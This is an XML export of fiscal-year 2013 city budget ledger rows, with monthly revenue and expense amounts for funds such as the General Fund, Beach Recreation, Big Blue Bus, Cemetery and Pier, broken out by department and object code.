<row _id="3613"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>406000.0</object><object_description>ESTIMATED FEE INCREASES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3614"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>410100.0</object><object_description>FIRE MISCELLANEOUS REVENUE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-20400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-20400.0</total></row>
<row _id="3615"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400010.0</object><object_description>PROPERTY TAXES - SECURED</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2013</fiscal_year><july>-23621499.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-920349</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-24541848.0</total></row>
<row _id="3616"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400110.0</object><object_description>FRANCHISE TAX - MISCELLANEOUS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-20135.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-20135.0</total></row>
<row _id="3617"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400130.0</object><object_description>TRANSIENT OCCUPANCY TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2013</fiscal_year><july>-42078000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1522000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-43600000.0</total></row>
<row _id="3618"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401420.0</object><object_description>TRANSACTION AND USE TAX</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2013</fiscal_year><july>-13600185.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1020014</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-14620199.0</total></row>
<row _id="3619"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4218.0</july><august>-818</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>34</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3434.0</total></row>
<row _id="3620"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>80560.0</july><august>-17288</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>63272.0</total></row>
<row _id="3621"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>70.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70.0</total></row>
<row _id="3622"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>577351.0</object><object_description>HOME VOUCHERS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>310000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>310000.0</total></row>
<row _id="3623"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570080.0</object><object_description>TRANSFER OUT TO WATER FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>51049.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>51049.0</total></row>
<row _id="3624"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570080.0</object><object_description>TRANSFER IN FROM GENERAL FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>-51049.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-51049.0</total></row>
<row _id="3625"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562702.0</object><object_description>ONE-TIME GRANT SET-ASIDE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>41455.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>41455.0</total></row>
<row _id="3626"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-10000.0</total></row>
<row _id="3627"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404690.0</object><object_description>415 PCH - PARKING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-438250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-438250.0</total></row>
<row _id="3628"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-120000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-120000.0</total></row>
<row _id="3629"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-70000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-70000.0</total></row>
<row _id="3630"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>405140.0</object><object_description>415 PCH - CONCESSIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-170000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-170000.0</total></row>
<row _id="3631"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>436172.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4362</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>440534.0</total></row>
<row _id="3632"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>88763.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>88763.0</total></row>
<row _id="3633"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10428.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10428.0</total></row>
<row _id="3634"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6022.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6022.0</total></row>
<row _id="3635"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-4438.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4438.0</total></row>
<row _id="3636"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2888.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>29</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2917.0</total></row>
<row _id="3637"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1994.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1994.0</total></row>
<row _id="3638"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3801.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>38</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3839.0</total></row>
<row _id="3639"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="3640"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="3641"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401220.0</object><object_description>REC-PARK BUILDING RENTAL</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3642"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522112.0</object><object_description>UTIL-LIGHT/POWER-BEACH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>77007.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-77007</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3643"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522134.0</object><object_description>UTIL-WATER-PARKING AUTH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>46577.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-46577</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3644"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7167027.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-7167027</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3645"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544440.0</object><object_description>WEBSITE DEVOP &amp; MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5900.0</total></row>
<row _id="3646"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2859.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2859.0</total></row>
<row _id="3647"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>215.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>215.0</total></row>
<row _id="3648"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>400300.0</object><object_description>ON STREET METERS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-13280000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>13280000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3649"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>407710.0</object><object_description>MAIN LIBRARY PARKING STRUCTURE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-740000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-60000</february><march>0.0</march><april>800000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3650"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560040.0</object><object_description>CISTERN PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="3651"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400440.0</object><object_description>PARK FILMING LOCATION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3652"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408140.0</object><object_description>ABOVE GROUND TANK PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-8160.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8160.0</total></row>
<row _id="3653"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556100.0</object><object_description>EMBALMING/CREMATION/DECEDENT C</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="3654"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>405630.0</object><object_description>SCE ENERGY PLANNING GRANTS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-47547.75</march><april>0</april><may>0</may><june>0.0</june><total>-47547.75</total></row>
<row _id="3655"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>407693.0</object><object_description>TAXI DRIVER PERMIT FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-78000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>78000.0</june><total>0.0</total></row>
<row _id="3656"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>390.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>390.0</total></row>
<row _id="3657"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>364760.0</july><august>0</august><september>0.0</september><october>-20429.0</october><november>0</november><december>0</december><january>0.0</january><february>3443</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>347774.0</total></row>
<row _id="3658"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>10000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14000.0</total></row>
